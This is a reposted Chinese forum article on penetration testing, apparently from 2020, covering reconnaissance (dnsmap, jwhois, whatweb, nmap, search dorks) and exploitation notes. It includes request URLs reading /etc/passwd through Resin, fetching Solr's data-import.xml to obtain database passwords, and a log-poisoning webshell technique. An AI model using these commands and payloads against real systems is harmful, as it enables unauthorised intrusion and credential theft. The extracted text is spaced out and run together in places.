搜索

[21464] 2020-12-01_渗透实战过程中突破口寻找的方法

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-12-01_渗透实战过程中突破口寻找的方法 渗 透 实 战 过 程 中 突 破 口 寻 找 的 方 法 转 自 安 全 先 师   L e m o n S e c   2 0 2 0 - 1 2 - 0 1 0 x 0 0   寻 找 目 标 寻 找 目 标 常 用 思 路 常 用 思 路 1 . 网 段 信 息 网 段 信 息   结 果 为 如 下 格 式 : . / d n s m a p   t a r g e t - d o m a i n . c o m   - w   你 的 域 名 字 典   - r   要 保 存 结 果 文 件 的 绝 对 路 径 针 对 做 了 泛 解 析 的 域 名 可 以 使 用 - i   需 忽 略 i p 来 避 免 误 报 ， 如 对 域 名 x x x . c o m 的 暴 破 过 程 中 不 存 在 域 名 都 解 析 到 1 . 1 . 1 . 1 上 ， 则 使 用 命 令 为 . / d n s m a p   x x x . c o m   - w   d o m a i n . t x t   - i   1 . 1 . 1 . 1   - r   / t m p / r e s u l t . t x t
 
  其 中 z a b b i x . n b . x x x . c o m 这 个 站 点 暴 露 到 了 外 网 ， 版 本 较 低 ， 使 用 z a b b i x 的 注 入 漏 洞 成 功 获 取 权 限   同 时 子 域 名 也 可 通 过 搜 索 引 擎 语 法 s i t e : x x x . c o m 收 集 ( 不 断 增 加 条 件 ， 可 获 取 的 更 多 ， 如 i n u r l , i n t i t l e 等 等 ) 2 ） A S 号 J w h o i s 使 用 方 法 谷 歌 语 法 大 全 ： h t t p s : / / g i t h u b . c o m / x u a n h u n / H a c k i n g R e s o u r c e / b l o b / m a s t e r / w e b % E 5 % A E % 8 9 % E 5 % 8 5 % A 8 / g o o g l e % 2 0 h a c k % 2 0 % E 4 % B 9 % 8 B s q l % E 6 % B 3 % A 8 % E 5 % 8 5 % A 5 . m d y u m   i n s t a l l   - y   j w h o i s
执 行 可 获 得 i p 所 在 企 业 的 A S 号 ， 继 续 执 行 即 可 获 得 该 a s 号 对 应 网 段 注 ： 一 般 只 有 大 企 业 才 会 有 a s 号 ， 并 且 一 个 企 业 可 能 会 有 多 个 a s 号 3 ） D N S     4 ） s p f 记 录 w h o i s   - h   a s n . s h a d o w s e r v e r . o r g   o r i g i n   1 . 1 . 1 . 1 w h o i s   - h   a s n . s h a d o w s e r v e r . o r g   p r e f i x   a s 号
  如 何 判 断 c d n ？ 如 果 误 把 c d n 的 i p 加 到 目 标 里 会 影 响 一 些 人 工 时 间 ， 如 何 判 断 c d n ？ 最 简 单 的 方 法 是 用 多 地 p i n g 功 能   2 . 利 用 利 用 w h a t w e b 寻 找 寻 找 w e b 入 口 入 口 使 用 方 法 h t t p : / / p i n g . c h i n a z . c o m / . / w h a t w e b   1 . 1 . 1 . 1 / 2 4   - - l o g - b r i e f = o u t p u t _ f i l e （ 详 细 使 用 参 考 使 用 说 明 ）
  操 作 历 史 中 发 现 有 打 包 文 件 且 放 在 w e b 目 录 下   下 载 打 包 文 件 ， 内 容 如 下   其 中 发 现 有 l o g 文 件 ， 且 l o g 文 件 会 记 录 u s e r - a g e n t 信 息   使 用 f i r e f o x 插 件 U s e r   A g e n t   S w i t c h e r 更 改 u s e r - a g e n t 信 息  
一 句 话 代 码 写 入 l o g 文 件 后 利 用 解 析 漏 洞 直 接 获 取 w e b s h e l l   3 . 利 用 利 用 n m a p 寻 找 可 利 用 服 务 寻 找 可 利 用 服 务 详 细 用 法 参 考 使 用 手 册 ， 个 人 常 用 命 令 为 （ - P 0 参 数 视 情 况 添 加 ， 如 果 没 有 禁 p i n g 可 以 不 加 ， 提 升 速 度 ） I p 较 少 的 情 况 下 可 以 扫 全 端 口 以 及 一 些 基 本 信 息 4 . 利 用 搜 索 引 擎 寻 找 后 台 或 重 要 系 统 利 用 搜 索 引 擎 寻 找 后 台 或 重 要 系 统 5 . 搞 一 个 精 简 的 路 径 字 典 搞 一 个 精 简 的 路 径 字 典 . / n m a p   - s T   - s V   1 . 1 . 1 . 1 / 2 4   - P 0   - o N   / t m p / p o r t _ r e s u l t . t x t   - - o p e n . / n m a p   - s T   - s V   - p   1 - 6 5 5 3 5   1 . 1 . 1 . 1   - P 0   - A s i t e : b a i d u . c o m   i n u r l : l o g i n   - s i t e : z h i d a o . b a i d u . c o m
我 们 可 以 把 容 易 出 问 题 且 危 害 比 较 高 的 常 见 路 径 做 成 一 个 精 简 的 小 字 典 ， 针 对 之 前 收 集 的 域 名 去 遍 历 ， 比 如 / i n v o k e r / J M X I n v o k e r S e r v l e t 、 w w w r o o t . z i p 这 种 ， 发 现 的 话 很 大 几 率 可 以 搞 到 权 限 0 x 0 1   利 用 利 用 这 里 列 出 几 个 常 见 的 系 统 利 用 方 法 w w w . x x x . c o m / a x i s 2 / a x i s 2 - a d m i n /   登 陆 管 理 后 台 后 台 部 署 文 件 代 码 执 行 ： 使 用 m e t a s p l o i t
  R e s i n 文 件 读 取 ：   也 可 以 通 过 实 现 S S R F s o l r 敏 感 信 息 泄 漏 搜 索 x m l 文 件 ， 找 到 d a t a - i m p o r t . x m l h t t p : / / w w w . x x x . c o m / r e s i n - d o c / r e s o u r c e / t u t o r i a l / j n d i - a p p c o n f i g / t e s t ? i n p u t F i l e = / e t c / p a s s w d h t t p : / / w w w . x x x . c o m / r e s i n - d o c / r e s o u r c e / t u t o r i a l / j n d i - a p p c o n f i g / t e s t ? i n p u t F i l e = h t t p : / / 1 . 1 . 1 . 1 h t t p : / / x x x . o r g : 8 0 8 0 / s o l r / a d m i n / f i l e / ? f i l e = s o l r c o n f i g . x m l
  访 问 h t t p : / / x x x . o r g : 8 0 8 0 / s o l r / a d m i n / f i l e / ? f i l e = d a t a - i m p o r t . x m l 获 取 数 据 库 密 码   H u d s o n （ j e n k i n s 类 似 ） 参 考   : 搜 狐 某 应 用 远 程 G r o o v y 代 码 执 行 h t t p s : / / w w w . u e d b o x . c o m / p o s t / 4 1 5 5 2 /   应 用 汇 z a b b i x 运 维 不 当 导 致 任 意 命 令 执 行   h t t p s : / / w w w . u e d b o x . c o m / p o s t / 3 6 7 7 2 /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理